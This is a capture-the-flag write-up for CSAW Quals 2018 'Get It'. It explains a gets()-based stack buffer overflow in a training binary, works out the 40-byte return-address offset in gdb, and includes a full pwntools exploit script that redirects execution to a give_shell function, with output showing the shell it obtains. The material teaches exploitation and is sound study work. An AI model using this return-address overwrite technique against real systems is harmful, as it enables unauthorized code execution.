Csaw Quals 2018 Get It

Let's take a look at the binary:

$    file get_it
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
$    pwn checksec get_it
[*] '/Hackery/pod/modules/bof_callfunction/csaw18_getit/get_it'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./get_it
Do you gets it??
15935728

So we can see that we are given a 64 bit binary, with a Non-Executable stack (that mitigation will be covered later). When we run it, we see that it prompts us for input. When we take a look at the main function in Ghidra, we see this:

undefined8 main(void)

{
  char input [32];
 
  puts("Do you gets it??");
  gets(input);
  return 0;
}

So we can see that it makes a call to the gets function with the char buffer input as an argument. This is a bug. The thing about the gets function, is that there is no size restriction on the amount of data it will scan in. It will just scan in data until it gets either a newline character or EOF (or something causes it to crash). Because if this we can write more data to input than it can hold (which it can hold 32 bytes worth of data) and we will overflow it. The data that we overflow will start overwriting subsequent things in memory. Looking at this function we don't see any other variables that we can overwrite. However we can definitely overwrite the saved return address.

When a function is called, two values that are saved are the base pointer (points to the base of the stack) and instruction pointer (pointing to the instruction following the call). This way when the function is done executing and returns, code execution can pick up where it left off and the code knows where the stack is. These values make up the saved base pointer and saved return address, and in x64 the saved base pointer is stored at rbp+0x0 and the saved instruction pointer is stored at rbp+0x8.

So when the ret instruction, the saved instruction pointer (stored at rbp+0x8) is executed. This address is on the stack, and we can reach it with the gets function call. So we will just overwrite it with a value we want, and we will decide what code the program executes. The offset between the start of our input and the return address is 40 bytes. The first 32 bytes come from the input char buffer we have to fill up. After that we can see there are no variables between input and the saved base pointer (if there was a stack canary that would be a different story, but I'll save that for later). After that we have 8 bytes for the saved base pointer, then we reach the saved instruction pointer. We can also see this in memory with gdb:

gef➤  disas main
Dump of assembler code for function main:
   0x00000000004005c7 <+0>:    push   rbp
   0x00000000004005c8 <+1>:    mov    rbp,rsp
   0x00000000004005cb <+4>:    sub    rsp,0x30
   0x00000000004005cf <+8>:    mov    DWORD PTR [rbp-0x24],edi
   0x00000000004005d2 <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x00000000004005d6 <+15>:    mov    edi,0x40068e
   0x00000000004005db <+20>:    call   0x400470 <puts@plt>
   0x00000000004005e0 <+25>:    lea    rax,[rbp-0x20]
   0x00000000004005e4 <+29>:    mov    rdi,rax
   0x00000000004005e7 <+32>:    mov    eax,0x0
   0x00000000004005ec <+37>:    call   0x4004a0 <gets@plt>
   0x00000000004005f1 <+42>:    mov    eax,0x0
   0x00000000004005f6 <+47>:    leave  
   0x00000000004005f7 <+48>:    ret    
End of assembler dump.
gef➤  b *0x4005f1
Breakpoint 1 at 0x4005f1
gef➤  r
Starting program: /Hackery/pod/modules/bof_callfunction/csaw18_getit/get_it
Do you gets it??
15935728

We set a breakpoint for right after the gets call:

Breakpoint 1, 0x00000000004005f1 in main ()
gef➤  i f
Stack level 0, frame at 0x7fffffffdea0:
 rip = 0x4005f1 in main; saved rip = 0x7ffff7a05b97
 Arglist at 0x7fffffffde90, args:
 Locals at 0x7fffffffde90, Previous frame's sp is 0x7fffffffdea0
 Saved registers:
  rbp at 0x7fffffffde90, rip at 0x7fffffffde98
gef➤  x/g $rbp+0x8
0x7fffffffde98:    0x00007ffff7a05b97
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x602670 - 0x602678  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde70 - 0x7fffffffde78  →   "15935728"

So we can see that the return address i stored at 0x7fffffffde98. Our input begins at 0x7fffffffde70. This gives us a 0x7fffffffde98 - 0x7fffffffde70 = 0x28 byte offset (0x28 = 40). So we just have to write 40 bytes worth of input and we can write over the return address. That address will be executed when the ret instruction is executed, giving us code execution. The question is now what do we want to execute? Looking through the list of functions in Ghidra, we see that there is a give_shell function:

void give_shell(void)

{
  system("/bin/bash");
  return;
}

This function looks like it just gives us a shell by calling system("/bin/bash"). In the assembly viewer we can see that it starts at 0x4005b6. So we can just call the give_shell function by writing over the return address with 0x4005b6 and that should give us a shell. Putting it all together, we get the following exploit:

from pwn import *

target = process("./get_it")
#gdb.attach(target, gdbscript = 'b *0x4005f1')

payload = ""
payload += "0"*40 # Padding to the return address
payload += p64(0x4005b6) # Address of give_shell in least endian, will be new saved return address

# Send the payload
target.sendline(payload)

# Drop to an interactive shell to use the new shell
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './get_it': pid 2969
[*] running in new terminal: /usr/bin/gdb -q  "./get_it" 2969 -x "/tmp/pwndObRhj.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Do you gets it??
$ w
 23:38:26 up 1 min,  1 user,  load average: 1.77, 0.67, 0.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               23:37    1:20   2.71s  0.14s /sbin/upstart --user
$ ls
exploit.py  get_it

Just like that we got a shell!